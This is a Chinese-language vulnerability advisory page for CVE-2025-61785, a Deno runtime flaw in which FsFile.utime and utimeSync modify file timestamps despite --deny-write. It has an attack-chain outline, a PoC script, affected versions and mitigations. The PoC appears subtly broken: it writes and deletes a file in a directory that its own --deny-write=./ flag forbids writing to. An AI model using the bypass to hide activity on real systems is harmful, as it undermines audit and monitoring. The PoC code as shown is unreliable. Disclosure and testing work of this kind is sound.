IPBUF安全漏洞报告
English
CVE-2025-61785 CVSS 3.3 低危

CVE-2025-61785:Deno运行时权限绕过漏洞

披露日期: 2025-10-08

漏洞信息

漏洞编号
CVE-2025-61785
漏洞类型
权限绕过
CVSS评分
3.3 低危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Deno

相关标签

权限绕过Deno文件系统安全沙箱逃逸时间戳篡改本地提权JavaScript运行时CVSS-LOW

漏洞概述

CVE-2025-61785是Deno JavaScript/TypeScript/WebAssembly运行时中的一个权限绕过漏洞。该漏洞存在于Deno版本2.5.3之前和2.2.15之前,影响Deno.FsFile.prototype.utime和Deno.FsFile.prototype.utimeSync两个文件时间戳修改API。问题核心在于,当Deno以--deny-write=./参数运行时,理论上应禁止对指定目录及其文件的写操作,但这两个API未受到权限模型的正确约束。即便文件以只读权限(write: false)打开,并且脚本以deny-write权限执行,攻击者仍然可以通过utime/utimeSync方法修改文件的访问时间(atime)和修改时间(mtime),从而绕过Deno的权限沙箱机制。值得注意的是,类似的顶层API如Deno.utime和Deno.utimeSync需要allow-write权限才能调用,但通过文件句柄调用时却缺乏相应的权限检查,形成了权限模型的不一致。此漏洞由GitHub安全顾问团队发现并报告,已在Deno 2.5.3和2.2.15版本中修复。该漏洞的CVSS评分为3.3,属于低危级别,攻击需要本地访问和低权限条件,但无需用户交互即可触发。

技术细节

Deno的权限模型是其安全架构的核心组成部分,通过--allow-write和--deny-write等命令行参数控制脚本对文件系统的写访问能力。正常情况下,当脚本以--deny-write=./运行时,任何修改文件内容的操作都应该被拒绝。

漏洞的技术原理在于Deno.FsFile对象的utime和utimeSync方法实现时,未对底层文件描述符的打开模式进行权限检查。当通过Deno.open()以只读模式(read: true, write: false)打开文件后,虽然文件内容无法被修改,但通过调用返回的FsFile对象的utime方法,仍然可以调用底层系统调用(如Linux的utimensat或utimes)来修改文件的atime和mtime属性。

这种行为违反了Deno权限模型的最小权限原则:deny-write应该禁止所有写操作,包括元数据的修改。然而,由于utime操作的权限检查仅在顶层API(Deno.utime)中实现,在文件句柄上下文中被遗漏,导致了权限检查的不一致性。攻击者可以利用此漏洞篡改文件时间戳,可能用于:1)掩盖恶意文件操作的时间痕迹;2)干扰基于时间戳的文件监控或审计系统;3)在某些场景下配合其他漏洞进行权限提升或持久化。

修复方案是在FsFile的utime/utimeSync方法中添加与文件打开模式一致的权限检查,确保只有以写权限打开的文件才能修改时间戳。

攻击链分析

STEP 1
步骤1:环境准备
攻击者在具有本地执行权限的环境中,准备一个目标文件,并通过Deno.open()以只读模式打开该文件,文件句柄被成功创建。
STEP 2
步骤2:权限上下文设置
Deno脚本以--deny-write=./参数运行,理论上禁止对当前目录的任何写操作,包括元数据修改。
STEP 3
步骤3:调用utime绕过
攻击者通过已获取的文件句柄调用utime()或utimeSync()方法,由于权限检查缺失,成功修改文件的atime和mtime时间戳。
STEP 4
步骤4:权限绕过完成
尽管--deny-write策略生效,文件时间戳仍被篡改,破坏了Deno权限模型的完整性,可能用于篡改审计日志或隐藏恶意活动时间痕迹。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-61785 PoC: Deno FsFile.utime permission bypass // Run with: deno run --deny-write=./ poc.ts // This should fail but succeeds due to the vulnerability // Step 1: Create a test file const testFile = "./test_file.txt"; await Deno.writeTextFile(testFile, "original content"); // Step 2: Open the file with READ-ONLY permission // Despite --deny-write, this should not allow any write operations const file = await Deno.open(testFile, { read: true, write: false, // explicitly read-only }); // Step 3: Record original timestamps const originalStat = await Deno.stat(testFile); console.log("Original atime:", originalStat.atime); console.log("Original mtime:", originalStat.mtime); // Step 4: Attempt to modify timestamps via FsFile.utime() // This should be blocked by --deny-write=./ but is NOT due to CVE-2025-61785 const newTime = new Date("2020-01-01T00:00:00Z"); try { await file.utime(newTime, newTime); console.log("[VULNERABLE] Timestamps modified successfully!"); // Verify the modification const newStat = await Deno.stat(testFile); console.log("Modified atime:", newStat.atime); console.log("Modified mtime:", newStat.mtime); } catch (e) { console.log("[PATCHED] utime blocked:", e.message); } file.close(); await Deno.remove(testFile);

影响范围

Deno < 2.2.15
2.2.15 <= Deno < 2.5.3

防御指南

临时缓解措施
在无法立即升级的情况下,建议临时禁用--deny-write=./相关的脚本执行,或在系统层面通过文件权限(chmod)限制对关键文件的元数据修改。此外,可使用Linux的auditd或类似的文件完整性监控工具(如AIDE、Tripwire)监控关键文件的atime/mtime变化,及时发现异常篡改行为。对于多用户环境,应限制普通用户执行Deno脚本的权限,避免低权限用户利用此漏洞绕过沙箱限制。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表